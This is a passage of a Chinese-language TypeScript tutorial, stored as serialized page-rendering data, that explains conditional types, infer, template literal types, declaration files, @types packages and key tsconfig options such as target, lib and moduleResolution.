string（反复剥到底）\n",[331,105571,105572],{"class":333,"line":341},[331,105573,998],{"emptyLinePlaceholder":997},[331,105575,105576,105578,105581,105583,105585,105587],{"class":333,"line":357},[331,105577,3628],{"class":616},[331,105579,105580],{"class":501}," MyAwaited",[331,105582,510],{"class":337},[331,105584,75387],{"class":501},[331,105586,26860],{"class":337},[331,105588,7975],{"class":616},[331,105590,105591,105594,105596,105599,105601,105603,105605],{"class":333,"line":371},[331,105592,105593],{"class":501},"  T",[331,105595,68378],{"class":616},[331,105597,105598],{"class":501}," PromiseLike",[331,105600,510],{"class":337},[331,105602,105515],{"class":616},[331,105604,105183],{"class":501},[331,105606,505],{"class":337},[331,105608,105609,105612,105614,105616,105618,105620,105622,105624,105626,105628,105630,105632,105634,105636,105638],{"class":333,"line":384},[331,105610,105611],{"class":616},"    ?",[331,105613,102172],{"class":501},[331,105615,68378],{"class":616},[331,105617,105598],{"class":501},[331,105619,510],{"class":337},[331,105621,75387],{"class":501},[331,105623,26860],{"class":337},[331,105625,1177],{"class":616},[331,105627,97864],{"class":344},[331,105629,2636],{"class":616},[331,105631,105580],{"class":501},[331,105633,510],{"class":337},[331,105635,84761],{"class":501},[331,105637,16314],{"class":337},[331,105639,105640],{"class":1003},"\u002F\u002F 递归剥\n",[331,105642,105643,105646],{"class":333,"line":397},[331,105644,105645],{"class":616},"    :",[331,105647,105262],{"class":501},[11,105649,105650,105651,105654,105655,105657],{},"注意它处理的是「类型」不是「值」：给一个 ",[22,105652,105653],{},"Promise\u003Cnumber>"," 的类型，得到 ",[22,105656,62821],{}," 类型。取实际异步函数返回值的类型时非常顺手。",[53,105659,105661,105664],{"id":105660},"recordk-v键类型到值类型的字典",[22,105662,105663],{},"Record\u003CK, V>","：键类型到值类型的字典",[11,105666,105667,105669],{},[22,105668,105663],{}," = 「K 里每个键都映射到 V」，比手写索引签名更能表达「键是有限的几个」：",[308,105671,105673],{"className":5205,"code":105672,"language":5207,"meta":314,"style":314},"type Pages = Record\u003C'home' | 'about', string>   \u002F\u002F { home: string; about: string }\ntype Dict = Record\u003Cstring, number>              \u002F\u002F 等价于 { [k: string]: number }\n\ntype MyRecord\u003CK extends keyof any, V> = { [P in K]: V }\n",[22,105674,105675,105704,105728,105732],{"__ignoreMap":314},[331,105676,105677,105679,105682,105684,105686,105688,105690,105692,105695,105697,105699,105701],{"class":333,"line":334},[331,105678,3628],{"class":616},[331,105680,105681],{"class":501}," Pages",[331,105683,957],{"class":616},[331,105685,101643],{"class":501},[331,105687,510],{"class":337},[331,105689,31539],{"class":365},[331,105691,15984],{"class":616},[331,105693,105694],{"class":365}," 'about'",[331,105696,409],{"class":337},[331,105698,8909],{"class":344},[331,105700,16314],{"class":337},[331,105702,105703],{"class":1003},"\u002F\u002F { home: string; about: string }\n",[331,105705,105706,105708,105711,105713,105715,105717,105719,105721,105723,105725],{"class":333,"line":341},[331,105707,3628],{"class":616},[331,105709,105710],{"class":501}," Dict",[331,105712,957],{"class":616},[331,105714,101643],{"class":501},[331,105716,510],{"class":337},[331,105718,8909],{"class":344},[331,105720,409],{"class":337},[331,105722,62821],{"class":344},[331,105724,20638],{"class":337},[331,105726,105727],{"class":1003},"\u002F\u002F 等价于 { [k: string]: number }\n",[331,105729,105730],{"class":333,"line":357},[331,105731,998],{"emptyLinePlaceholder":997},[331,105733,105734,105736,105739,105741,105743,105745,105747,105749,105751,105754,105756,105758,105760,105762,105764,105766,105768,105770,105772],{"class":333,"line":371},[331,105735,3628],{"class":616},[331,105737,105738],{"class":501}," MyRecord",[331,105740,510],{"class":337},[331,105742,104164],{"class":501},[331,105744,68378],{"class":616},[331,105746,102100],{"class":616},[331,105748,9486],{"class":344},[331,105750,409],{"class":337},[331,105752,105753],{"class":501},"V",[331,105755,26860],{"class":337},[331,105757,518],{"class":616},[331,105759,98630],{"class":337},[331,105761,84729],{"class":501},[331,105763,63945],{"class":616},[331,105765,104136],{"class":501},[331,105767,93886],{"class":337},[331,105769,1180],{"class":616},[331,105771,105546],{"class":501},[331,105773,9413],{"class":337},[11,105775,105776,105026,105778,105780,105781,105783],{},[22,105777,104343],{},[22,105779,104164],{},"（键联合），每个键的值统一是 ",[22,105782,105753],{},"。它常用于给枚举\u002F联合键做完整的映射表，编译器会检查你有没有把每个键都填上。",[53,105785,105786],{"id":105786},"选用的分寸",[11,105788,105789,105790,105793,105794],{},"工具类型好用，但别堆砌。链上七八层 ",[22,105791,105792],{},"Omit\u003CPick\u003CPartial\u003C...>>>"," 会让报错信息变成天书、也让同事读不动。",[17,105795,105796],{},"先写朴素接口，需要变换时再上工具类型；能用一句话讲清它做了什么，才值得这么写。",[48,105798,105800,105801,105803],{"id":105799},"十四条件类型与-infer模板字面量类型类型体操入门","十四、条件类型与 ",[22,105802,105515],{},"、模板字面量类型：类型体操入门",[11,105805,105806,105807,105810],{},"这一章进入 TS 的「类型也能做运算」的深水区。日常业务里，你",[17,105808,105809],{},"大概率不需要写这么深","——绝大多数页面代码停在第十三章就绰绰有余。但读懂库作者写的类型、以及享受工具类型带来的推断，需要这里的知识。只讲够用的几个概念，配两三个例子，不追求把体操做到极限。",[53,105812,105814],{"id":105813},"条件类型类型层面的三元","条件类型：类型层面的三元",[11,105816,105817,105820],{},[22,105818,105819],{},"T extends U ? X : Y"," 是「如果 T 能赋给 U 就取 X 否则取 Y」，一个写在类型位置的三元表达式：",[308,105822,105824],{"className":5205,"code":105823,"language":5207,"meta":314,"style":314},"type IsNumber\u003CT> = T extends number ? true : false\ntype A = IsNumber\u003C42>      \u002F\u002F true\ntype B = IsNumber\u003C'x'>     \u002F\u002F false\n",[22,105825,105826,105855,105873],{"__ignoreMap":314},[331,105827,105828,105830,105833,105835,105837,105839,105841,105843,105845,105847,105849,105851,105853],{"class":333,"line":334},[331,105829,3628],{"class":616},[331,105831,105832],{"class":501}," IsNumber",[331,105834,510],{"class":337},[331,105836,75387],{"class":501},[331,105838,26860],{"class":337},[331,105840,518],{"class":616},[331,105842,102172],{"class":501},[331,105844,68378],{"class":616},[331,105846,96507],{"class":344},[331,105848,2631],{"class":616},[331,105850,13639],{"class":344},[331,105852,2636],{"class":616},[331,105854,1375],{"class":344},[331,105856,105857,105859,105861,105863,105865,105867,105869,105871],{"class":333,"line":341},[331,105858,3628],{"class":616},[331,105860,88329],{"class":501},[331,105862,957],{"class":616},[331,105864,105832],{"class":501},[331,105866,510],{"class":337},[331,105868,31936],{"class":344},[331,105870,22992],{"class":337},[331,105872,67759],{"class":1003},[331,105874,105875,105877,105879,105881,105883,105885,105887,105889],{"class":333,"line":357},[331,105876,3628],{"class":616},[331,105878,103759],{"class":501},[331,105880,957],{"class":616},[331,105882,105832],{"class":501},[331,105884,510],{"class":337},[331,105886,103327],{"class":365},[331,105888,104889],{"class":337},[331,105890,105891],{"class":1003},"\u002F\u002F false\n",[11,105893,105894,105895,105898,105899,105901,105902,105905,105906,105908,105909,105912,105913,272,105915,272,105917,105919,105920,105922,105923,105925,105926,14556],{},"关键特性是",[17,105896,105897],{},"分发（distributive）","：当 ",[22,105900,75387],{}," 是裸类型参数且是联合，条件类型会",[17,105903,105904],{},"对联合的每个成员分别计算再并起来","。这就是 ",[22,105907,105008],{}," 能「逐个筛掉」的原理：",[22,105910,105911],{},"('a'|'b'|'c') extends 'a' ? never : T"," 会拆成对 ",[22,105914,9298],{},[22,105916,9303],{},[22,105918,66039],{}," 各自判断，命中 ",[22,105921,9298],{}," 变 ",[22,105924,55488],{}," 被丢，剩下的并回联合。想关掉分发，把 T 包进元组 ",[22,105927,105928],{},"[T] extends [U]",[53,105930,105932,105934],{"id":105931},"infer在匹配中捕获一个类型",[22,105933,105515],{},"：在匹配中「捕获」一个类型",[11,105936,105937,105940,105941,272,105943,105946],{},[22,105938,105939],{},"infer R"," 写在条件类型的「被匹配的形状」里，意思是「这一段随它是什么，抽出来命名叫 R」。前面 ",[22,105942,104346],{},[22,105944,105945],{},"Awaited"," 都靠它：",[308,105948,105950],{"className":5205,"code":105949,"language":5207,"meta":314,"style":314},"type First\u003CT> = T extends [infer F, ...any[]] ? F : never\ntype F = First\u003C[string, number]>     \u002F\u002F string\n\ntype Flatten\u003CT> = T extends Array\u003Cinfer U> ? U : T\ntype E = Flatten\u003Cnumber[]>           \u002F\u002F number\n",[22,105951,105952,105994,106019,106023,106060],{"__ignoreMap":314},[331,105953,105954,105956,105958,105960,105962,105964,105966,105968,105970,105972,105974,105977,105979,105981,105983,105986,105988,105990,105992],{"class":333,"line":334},[331,105955,3628],{"class":616},[331,105957,104308],{"class":501},[331,105959,510],{"class":337},[331,105961,75387],{"class":501},[331,105963,26860],{"class":337},[331,105965,518],{"class":616},[331,105967,102172],{"class":501},[331,105969,68378],{"class":616},[331,105971,1108],{"class":337},[331,105973,105515],{"class":616},[331,105975,105976],{"class":501}," F",[331,105978,409],{"class":337},[331,105980,9211],{"class":616},[331,105982,96855],{"class":344},[331,105984,105985],{"class":337},"[]] ",[331,105987,1177],{"class":616},[331,105989,105976],{"class":501},[331,105991,2636],{"class":616},[331,105993,105228],{"class":344},[331,105995,105996,105998,106000,106002,106004,106007,106009,106011,106013,106016],{"class":333,"line":341},[331,105997,3628],{"class":616},[331,105999,105976],{"class":501},[331,106001,957],{"class":616},[331,106003,104308],{"class":501},[331,106005,106006],{"class":337},"\u003C[",[331,106008,8909],{"class":344},[331,106010,409],{"class":337},[331,106012,62821],{"class":344},[331,106014,106015],{"class":337},"]>     ",[331,106017,106018],{"class":1003},"\u002F\u002F string\n",[331,106020,106021],{"class":333,"line":357},[331,106022,998],{"emptyLinePlaceholder":997},[331,106024,106025,106027,106030,106032,106034,106036,106038,106040,106042,106044,106046,106048,106050,106052,106054,106056,106058],{"class":333,"line":371},[331,106026,3628],{"class":616},[331,106028,106029],{"class":501}," Flatten",[331,106031,510],{"class":337},[331,106033,75387],{"class":501},[331,106035,26860],{"class":337},[331,106037,518],{"class":616},[331,106039,102172],{"class":501},[331,106041,68378],{"class":616},[331,106043,97255],{"class":501},[331,106045,510],{"class":337},[331,106047,105515],{"class":616},[331,106049,105183],{"class":501},[331,106051,26860],{"class":337},[331,106053,1177],{"class":616},[331,106055,105183],{"class":501},[331,106057,2636],{"class":616},[331,106059,105262],{"class":501},[331,106061,106062,106064,106067,106069,106071,106073,106075,106078],{"class":333,"line":384},[331,106063,3628],{"class":616},[331,106065,106066],{"class":501}," E",[331,106068,957],{"class":616},[331,106070,106029],{"class":501},[331,106072,510],{"class":337},[331,106074,62821],{"class":344},[331,106076,106077],{"class":337},"[]>           ",[331,106079,104301],{"class":1003},[11,106081,106082,106084],{},[22,106083,105515],{}," 让你从「一个复杂的类型」里按形状「解构」出想要的局部，是类型体操里最常用的捕获手段。",[53,106086,106088],{"id":106087},"模板字面量类型在类型层面拼字符串","模板字面量类型：在类型层面拼字符串",[11,106090,106091,106092,106095],{},"TS 4.1 起，字符串字面量类型支持模板拼接，用 ",[22,106093,106094],{},"`${A}`"," 形式：",[308,106097,106099],{"className":5205,"code":106098,"language":5207,"meta":314,"style":314},"type World = 'world'\ntype Greeting = `hello ${World}`     \u002F\u002F 'hello world'\n\ntype EventName\u003CT extends string> = `on${Capitalize\u003CT>}`\ntype Click = EventName\u003C'click'>      \u002F\u002F 'onClick'\n\ntype Style = `${number}px` | `${number}%`\nfunction setSize(s: Style) {}\nsetSize('10px')     \u002F\u002F ✓\nsetSize('big')      \u002F\u002F ✗ 不符合模板\n",[22,106100,106101,106113,106133,106137,106170,106190,106194,106219,106237,106251],{"__ignoreMap":314},[331,106102,106103,106105,106108,106110],{"class":333,"line":334},[331,106104,3628],{"class":616},[331,106106,106107],{"class":501}," World",[331,106109,957],{"class":616},[331,106111,106112],{"class":365}," 'world'\n",[331,106114,106115,106117,106120,106122,106125,106128,106130],{"class":333,"line":341},[331,106116,3628],{"class":616},[331,106118,106119],{"class":501}," Greeting",[331,106121,957],{"class":616},[331,106123,106124],{"class":365}," `hello ${",[331,106126,106127],{"class":501},"World",[331,106129,8524],{"class":365},[331,106131,106132],{"class":1003},"     \u002F\u002F 'hello world'\n",[331,106134,106135],{"class":333,"line":357},[331,106136,998],{"emptyLinePlaceholder":997},[331,106138,106139,106141,106144,106146,106148,106150,106152,106154,106156,106159,106162,106164,106166,106168],{"class":333,"line":371},[331,106140,3628],{"class":616},[331,106142,106143],{"class":501}," EventName",[331,106145,510],{"class":337},[331,106147,75387],{"class":501},[331,106149,68378],{"class":616},[331,106151,96819],{"class":344},[331,106153,26860],{"class":337},[331,106155,518],{"class":616},[331,106157,106158],{"class":365}," `on${",[331,106160,106161],{"class":501},"Capitalize",[331,106163,510],{"class":365},[331,106165,75387],{"class":501},[331,106167,42343],{"class":365},[331,106169,1354],{"class":365},[331,106171,106172,106174,106177,106179,106181,106183,106185,106187],{"class":333,"line":384},[331,106173,3628],{"class":616},[331,106175,106176],{"class":501}," Click",[331,106178,957],{"class":616},[331,106180,106143],{"class":501},[331,106182,510],{"class":337},[331,106184,1404],{"class":365},[331,106186,22992],{"class":337},[331,106188,106189],{"class":1003},"\u002F\u002F 'onClick'\n",[331,106191,106192],{"class":333,"line":397},[331,106193,998],{"emptyLinePlaceholder":997},[331,106195,106196,106198,106201,106203,106205,106207,106210,106212,106214,106216],{"class":333,"line":418},[331,106197,3628],{"class":616},[331,106199,106200],{"class":501}," Style",[331,106202,957],{"class":616},[331,106204,66848],{"class":365},[331,106206,62821],{"class":344},[331,106208,106209],{"class":365},"}px`",[331,106211,15984],{"class":616},[331,106213,66848],{"class":365},[331,106215,62821],{"class":344},[331,106217,106218],{"class":365},"}%`\n",[331,106220,106221,106223,106226,106228,106230,106232,106234],{"class":333,"line":427},[331,106222,3047],{"class":616},[331,106224,106225],{"class":501}," setSize",[331,106227,966],{"class":337},[331,106229,21542],{"class":2472},[331,106231,1180],{"class":616},[331,106233,106200],{"class":501},[331,106235,106236],{"class":337},") {}\n",[331,106238,106239,106242,106244,106247,106249],{"class":333,"line":439},[331,106240,106241],{"class":501},"setSize",[331,106243,966],{"class":337},[331,106245,106246],{"class":365},"'10px'",[331,106248,14439],{"class":337},[331,106250,101873],{"class":1003},[331,106252,106253,106255,106257,106260,106262],{"class":333,"line":450},[331,106254,106241],{"class":501},[331,106256,966],{"class":337},[331,106258,106259],{"class":365},"'big'",[331,106261,28281],{"class":337},[331,106263,106264],{"class":1003},"\u002F\u002F ✗ 不符合模板\n",[11,106266,106267,106268,655,106270,655,106273,106276],{},"模板字面量类型最实用的一面：给「有规律的事件名、路由、CSS 单位」这类字符串建立模式约束，让拼错在编译期就报错。用 ",[22,106269,106161],{},[22,106271,106272],{},"Lowercase",[22,106274,106275],{},"Uppercase"," 等字符串工具类型（TS 内置）还能做大小写变换。",[53,106278,106279],{"id":106279},"分寸再强调一遍",[11,106281,106282,106283,106286,106287,106289],{},"上面这些组合起来能做「类型层面的编程」，理论上能写很复杂的推断。但",[17,106284,106285],{},"在业务代码里写它们要极其克制","：库的 ",[22,106288,96695],{},"、通用的类型工具值得精雕；一个具体页面的 props 用不着条件类型套娃。读懂 > 会写 > 会炫。本章示例点到为止，能认出「哦这是在用 infer 抽返回类型」就够了。",[48,106291,106293,106294,272,106297,106299],{"id":106292},"十五模块与声明文件esmimport-typedts-与给无类型库写声明","十五、模块与声明文件：ESM、",[22,106295,106296],{},"import type",[22,106298,96695],{}," 与给无类型库写声明",[11,106301,106302,106303,655,106305,106307,106308,106310,106311,106313,106314,106316],{},"JS 教程第二十章讲过 ESM 的 ",[22,106304,4648],{},[22,106306,5219],{}," 语法。这一章讲 TS 在模块之上加的东西：",[22,106309,106296],{},"、被擦除后的类型去哪了、",[22,106312,96695],{}," 声明文件是什么、怎么用 ",[22,106315,92580],{}," 给一个没有类型的 JS 库「补上」类型，以及遇到「找不到类型声明」时的三条出路。",[53,106318,106320,106321],{"id":106319},"esm-与-import-type","ESM 与 ",[22,106322,106296],{},[11,106324,106325,106326,106328,106329,106331,106332,106334],{},"TS 里导入分两种：导",[17,106327,62845],{},"（运行时真要有这个东西）和导",[17,106330,8896],{},"（编译期用完就擦除，运行时根本不需要它存在）。把「只用来做类型」的导入写成 ",[22,106333,106296],{},"，是明确的信号也是优化：",[308,106336,106338],{"className":5205,"code":106337,"language":5207,"meta":314,"style":314},"import type { User } from '.\u002Ftypes'     \u002F\u002F 纯类型，擦除后这条 import 整个消失\nimport { getUser } from '.\u002Fapi'          \u002F\u002F 值，运行时真的要用\n",[22,106339,106340,106357],{"__ignoreMap":314},[331,106341,106342,106344,106346,106349,106351,106354],{"class":333,"line":334},[331,106343,4648],{"class":616},[331,106345,835],{"class":616},[331,106347,106348],{"class":337}," { User } ",[331,106350,13735],{"class":616},[331,106352,106353],{"class":365}," '.\u002Ftypes'",[331,106355,106356],{"class":1003},"     \u002F\u002F 纯类型，擦除后这条 import 整个消失\n",[331,106358,106359,106361,106364,106366,106369],{"class":333,"line":341},[331,106360,4648],{"class":616},[331,106362,106363],{"class":337}," { getUser } ",[331,106365,13735],{"class":616},[331,106367,106368],{"class":365}," '.\u002Fapi'",[331,106370,106371],{"class":1003},"          \u002F\u002F 值，运行时真的要用\n",[11,106373,106374,106375,5664,106377,106379,106380,106383,106384,4839,106386,106389,106390,106392],{},"为什么区分？因为擦除。",[22,106376,68033],{},[22,106378,3628],{},"，运行时不存在，若写成普通 ",[22,106381,106382],{},"import { User }"," 再只在类型位置用它，打包器可能把整模块拽进产物却找不到 ",[22,106385,68033],{},[22,106387,106388],{},"isolatedModules"," 下会直接报错，见第十七章）。",[22,106391,106296],{}," 让「这是类型、别当值处理」一目了然，也让单文件转译（各文件独立擦除）能安全进行。",[53,106394,106396,106398],{"id":106395},"dts-是什么",[22,106397,96695],{}," 是什么",[11,106400,106401,18283,106403,106406,106407,106409,106410,4839,106412,106415,106416,161],{},[22,106402,96695],{},[17,106404,106405],{},"只有类型、没有实现","的声明文件。它是库对外发布的「类型说明书」：编译器读它知道 API 长什么样，运行时它一行代码都不产出。你自己的 ",[22,106408,35388],{}," 编译时会附带产出 ",[22,106411,96695],{},[22,106413,106414],{},"declaration: true","），第三方库的类型则来自 npm 上的包或 ",[22,106417,106418],{},"@types\u002F*",[308,106420,106422],{"className":5205,"code":106421,"language":5207,"meta":314,"style":314},"\u002F\u002F some-lib\u002Findex.d.ts —— 只声明，不实现\nexport interface Options { timeout?: number }\nexport function request(url: string, opts?: Options): Promise\u003CResponse>\n",[22,106423,106424,106429,106450],{"__ignoreMap":314},[331,106425,106426],{"class":333,"line":334},[331,106427,106428],{"class":1003},"\u002F\u002F some-lib\u002Findex.d.ts —— 只声明，不实现\n",[331,106430,106431,106433,106436,106439,106441,106444,106446,106448],{"class":333,"line":341},[331,106432,5219],{"class":616},[331,106434,106435],{"class":616}," interface",[331,106437,106438],{"class":501}," Options",[331,106440,605],{"class":337},[331,106442,106443],{"class":2472},"timeout",[331,106445,98429],{"class":616},[331,106447,96507],{"class":344},[331,106449,9413],{"class":337},[331,106451,106452,106454,106456,106459,106461,106463,106465,106467,106469,106472,106474,106476,106478,106480,106482,106484,106486],{"class":333,"line":357},[331,106453,5219],{"class":616},[331,106455,1066],{"class":616},[331,106457,106458],{"class":501}," request",[331,106460,966],{"class":337},[331,106462,18769],{"class":2472},[331,106464,1180],{"class":616},[331,106466,96819],{"class":344},[331,106468,409],{"class":337},[331,106470,106471],{"class":2472},"opts",[331,106473,98429],{"class":616},[331,106475,106438],{"class":501},[331,106477,1351],{"class":337},[331,106479,1180],{"class":616},[331,106481,72200],{"class":501},[331,106483,510],{"class":337},[331,106485,10023],{"class":501},[331,106487,505],{"class":337},[53,106489,106491,5160,106493],{"id":106490},"declare-与-declare-module",[22,106492,92580],{},[22,106494,106495],{},"declare module",[11,106497,106498,106500],{},[22,106499,92580],{}," 关键字用于「告诉编译器：外面有这个东西，你别生成也别检查，信我」。给一个全局脚本变量、一段内联的 JS 库打类型，就靠它：",[308,106502,106504],{"className":5205,"code":106503,"language":5207,"meta":314,"style":314},"\u002F\u002F 描述一个挂在 window 上的全局（例如某统计脚本）\ndeclare const _hmt: string[][]\n\n\u002F\u002F 给一个「其实有、但没类型」的模块声明形状\ndeclare module 'legacy-lib' {\n  export function doThing(x: number): void\n}\n",[22,106505,106506,106511,106527,106531,106536,106547,106571],{"__ignoreMap":314},[331,106507,106508],{"class":333,"line":334},[331,106509,106510],{"class":1003},"\u002F\u002F 描述一个挂在 window 上的全局（例如某统计脚本）\n",[331,106512,106513,106515,106517,106520,106522,106524],{"class":333,"line":341},[331,106514,92580],{"class":616},[331,106516,13749],{"class":616},[331,106518,106519],{"class":344}," _hmt",[331,106521,1180],{"class":616},[331,106523,96819],{"class":344},[331,106525,106526],{"class":337},"[][]\n",[331,106528,106529],{"class":333,"line":357},[331,106530,998],{"emptyLinePlaceholder":997},[331,106532,106533],{"class":333,"line":371},[331,106534,106535],{"class":1003},"\u002F\u002F 给一个「其实有、但没类型」的模块声明形状\n",[331,106537,106538,106540,106542,106545],{"class":333,"line":384},[331,106539,92580],{"class":616},[331,106541,91336],{"class":616},[331,106543,106544],{"class":365}," 'legacy-lib'",[331,106546,1100],{"class":337},[331,106548,106549,106552,106554,106557,106559,106561,106563,106565,106567,106569],{"class":333,"line":397},[331,106550,106551],{"class":616},"  export",[331,106553,1066],{"class":616},[331,106555,106556],{"class":501}," doThing",[331,106558,966],{"class":337},[331,106560,21547],{"class":2472},[331,106562,1180],{"class":616},[331,106564,96507],{"class":344},[331,106566,1351],{"class":337},[331,106568,1180],{"class":616},[331,106570,98772],{"class":344},[331,106572,106573],{"class":333,"line":418},[331,106574,459],{"class":337},[11,106576,106577,106580,106581,106583,106584,7131,106586,106588,106589,106592],{},[22,106578,106579],{},"declare module '名字'"," 是给「JS 库但没带 ",[22,106582,96695],{},"」补类型的标准姿势——你在项目里建一个 ",[22,106585,96695],{},[22,106587,106495],{}," 声明这个包对外暴露的形状，之后 ",[22,106590,106591],{},"import ... from 'legacy-lib'"," 就有类型了。",[53,106594,106596,106599,106600,102769],{"id":106595},"types-与包里的-types-字段",[22,106597,106598],{},"@types"," 与包里的 ",[22,106601,106602],{},"types",[11,106604,106605],{},"一个包怎么被找到类型？两条路：",[1773,106607,106608,106622],{},[1662,106609,106610,106611,5760,106613,1901,106615,106618,106619,106621],{},"包自己内置：",[22,106612,4011],{},[22,106614,106602],{},[22,106616,106617],{},"typings"," 字段指向它的 ",[22,106620,96695],{},"（现代 TS 库普遍这么发布）。",[1662,106623,106624,106625,56797,106628,272,106631,4846,106634,14556],{},"社区补：DefinitelyTyped 维护、发布成 ",[22,106626,106627],{},"@types\u002F包名",[22,106629,106630],{},"@types\u002Flodash",[22,106632,106633],{},"@types\u002Freact",[22,106635,106636],{},"npm i -D @types\u002Fxxx",[11,106638,106639,106640,106643,106644,106646,106647,161],{},"编译器解析 ",[22,106641,106642],{},"import 'lodash'"," 时，先看包自身 ",[22,106645,106602],{}," 字段，没有再找 ",[22,106648,106649],{},"node_modules\u002F@types\u002Flodash",[53,106651,106652],{"id":106652},"找不到类型声明的三种解法",[11,106654,106655,106658,106659,106662],{},[22,106656,106657],{},"import 'xxx'"," 报「找不到模块声明文件」（TS7016 之类）时，别急着 ",[22,106660,106661],{},"\u002F\u002F @ts-ignore","，三条正规出路：",[1659,106664,106665,106673,106685],{},[1662,106666,106667,322,106670,106672],{},[17,106668,106669],{},"装社区类型",[22,106671,106636],{},"——最常见，多数流行库都有。",[1662,106674,106675,106680,106681,106684],{},[17,106676,106677,106678],{},"自己写 ",[22,106679,106495],{},"：在项目的 ",[22,106682,106683],{},"types\u002Fxxx.d.ts"," 里声明它的形状，哪怕先只写你用到的几个函数。",[1662,106686,106687,322,106690,106693,106694,106696,106697,106700],{},[17,106688,106689],{},"临时兜底",[22,106691,106692],{},"declare module 'xxx'","（不写内容）把它当 ",[22,106695,96855],{}," 放行，或开 ",[22,106698,106699],{},"allowJs"," 直接吃它的 JS——但这是把类型关掉，属于过渡不是终点。",[11,106702,106703],{},"顺序优先选 1，其次 2；3 只在时间紧迫时短暂使用，并留待补齐。",[48,106705,106707],{"id":106706},"十六tsconfig-全解编译选项的真实含义","十六、tsconfig 全解：编译选项的真实含义",[11,106709,106710,106712,106713,106716,106717,655,106719,655,106722,655,106725,106728,106729,106731,106732,655,106734,655,106736,655,106739,106742,106743,106745],{},[22,106711,5663],{}," 是 TS 项目的控制台。这一章不逐条背，而是把",[17,106714,106715],{},"最常配错、影响最大","的几组讲透：",[22,106718,6384],{},[22,106720,106721],{},"lib",[22,106723,106724],{},"module",[22,106726,106727],{},"moduleResolution"," 的真实差别、",[22,106730,98048],{}," 家族各自开关、",[22,106733,30103],{},[22,106735,30116],{},[22,106737,106738],{},"paths",[22,106740,106741],{},"noEmit","，以及「",[22,106744,106741],{}," + 打包器」为什么才是现代主流组合。",[4748,106747],{"height":42104,"src":106748,"title":106749},"\u002Ftutorials\u002Fts\u002Fdemos\u002F16-tsconfig.html","示例 16：tsconfig 关键选项——改了会影响什么",[53,106751,106753,1901,106755,106757],{"id":106752},"target-lib转译产物-vs-允许用的-api",[22,106754,6384],{},[22,106756,106721],{},"：转译产物 vs 允许用的 API",[11,106759,106760],{},"这两个最容易混，分清就赢了一半：",[1773,106762,106763,106777],{},[1662,106764,106765,106769,106770,161,106773,106776],{},[17,106766,106767],{},[22,106768,6384],{},"：决定",[17,106771,106772],{},"语法降级到哪一档 ES 版本",[22,106774,106775],{},"target: \"es2020\""," 意味着 TS 会把更新的语法（比如可选链、逻辑赋值）降级成 ES2020 能跑的 JS。它管的是「语法」。",[1662,106778,106779,106769,106783,9943,106786,272,106788,272,106791,272,106793,106795,106796,106798],{},[17,106780,106781],{},[22,106782,106721],{},[17,106784,106785],{},"编译器认为环境里有哪些内置 API",[22,106787,72727],{},[22,106789,106790],{},"Array.prototype.includes",[22,106792,35933],{},[22,106794,3618],{}," 这些，都要 ",[22,106797,106721],{}," 里有对应声明才不报「找不到」。",[11,106800,106801,106802,268,106804,106806,106807,106810,106811,106813,106814,106816,106817,106820,106821,106823],{},"关键陷阱：",[22,106803,6384],{},[17,106805,36684],{},"帮你 polyfill 任何 API。你 ",[22,106808,106809],{},"target: \"es5\""," 但代码里用了 ",[22,106812,72727],{},"，编译不报错（因为 ",[22,106815,106721],{}," 默认按 target 推），产物里也不会凭空出现 Promise——运行时 ",[22,106818,106819],{},"Promise is not defined"," 照崩。",[22,106822,106721],{}," 是「我信任运行环境有这些东西」的声明，不是「请帮我把缺的补上」。",[308,106825,106829],{"className":106826,"code":106827,"language":106828,"meta":314,"style":314},"language-jsonc shiki shiki-themes github-dark","{\n  \"compilerOptions\": {\n    \"target\": \"ES2020\",          \u002F\u002F 语法降到 ES2020\n    \"lib\": [\"ES2020\", \"DOM\", \"DOM.Iterable\"]  \u002F\u002F 允许用这些环境 API\n  }\n}\n","jsonc",[22,106830,106831,106835,106840,106848,106856,106860],{"__ignoreMap":314},[331,106832,106833],{"class":333,"line":334},[331,106834,338],{},[331,106836,106837],{"class":333,"line":341},[331,106838,106839],{},"  \"compilerOptions\": {\n",[331,106841,106842,106845],{"class":333,"line":357},[331,106843,106844],{},"    \"target\": \"ES2020\",",[331,106846,106847],{},"          \u002F\u002F 语法降到 ES2020\n",[331,106849,106850,106853],{"class":333,"line":371},[331,106851,106852],{},"    \"lib\": [\"ES2020\", \"DOM\", \"DOM.Iterable\"]",[331,106854,106855],{},"  \u002F\u002F 允许用这些环境 API\n",[331,106857,106858],{"class":333,"line":384},[331,106859,453],{},[331,106861,106862],{"class":333,"line":397},[331,106863,459],{},[53,106865,106867,1901,106869,106871],{"id":106866},"module-moduleresolution产物用什么模块格式-vs-怎么找模块",[22,106868,106724],{},[22,106870,106727],{},"：产物用什么模块格式 vs 怎么找模块",[11,106873,106874],{},"又是一对常混项：",[1773,106876,106877,106905],{},[1662,106878,106879,106883,106884,106887,106888,4839,106891,106894,106895,106898,106899,106901,106902,106904],{},[17,106880,106881],{},[22,106882,106724],{},"：TS ",[17,106885,106886],{},"输出","的 JS 用哪种模块语法——",[22,106889,106890],{},"ESNext",[22,106892,106893],{},"import\u002Fexport"," 原样保留）、",[22,106896,106897],{},"CommonJS","（转成 ",[22,106900,19018],{},"）等。现代项目基本 ",[22,106903,106890],{},"，交给打包器处理。",[1662,106906,106907,322,106911,106914,106915,268,106918,106920,106921,106924,106925,655,106928,106931,106932,106934],{},[17,106908,106909],{},[22,106910,106727],{},[22,106912,106913],{},"import '.\u002Fx'"," 时 TS ",[17,106916,106917],{},"用什么规则去找",[22,106919,21547],{}," 的类型文件——",[22,106922,106923],{},"bundler","（打包器友好）、",[22,106926,106927],{},"node16",[22,106929,106930],{},"nodenext","（按 Node 的 ESM\u002FCJS 规则）、",[22,106933,15542],{},"（老经典 Node）。",[11,106936,106937,5160,106939,106941,106942,106944,106945,106948,106949,106951,106952,106954],{},[22,106938,106724],{},[22,106940,106727],{}," 要配套（比如 ",[22,106943,106930],{}," 解析要求 ",[22,106946,106947],{},"module: nodenext","），否则会出现「运行时能 import、类型却找不到」的错位。纯打包器项目用 ",[22,106950,106923],{},"，写 Node 服务端用 ",[22,106953,106930],{},"，是当前两条主流路线。",[53,106956,106958,106960],{"id":106957},"strict-家族一次打开一串安全闸",[22,106959,98048],{}," 家族：一次打开一串安全闸",[11,106962,106963,106966,106967,106970],{},[22,106964,106965],{},"\"strict\": true"," 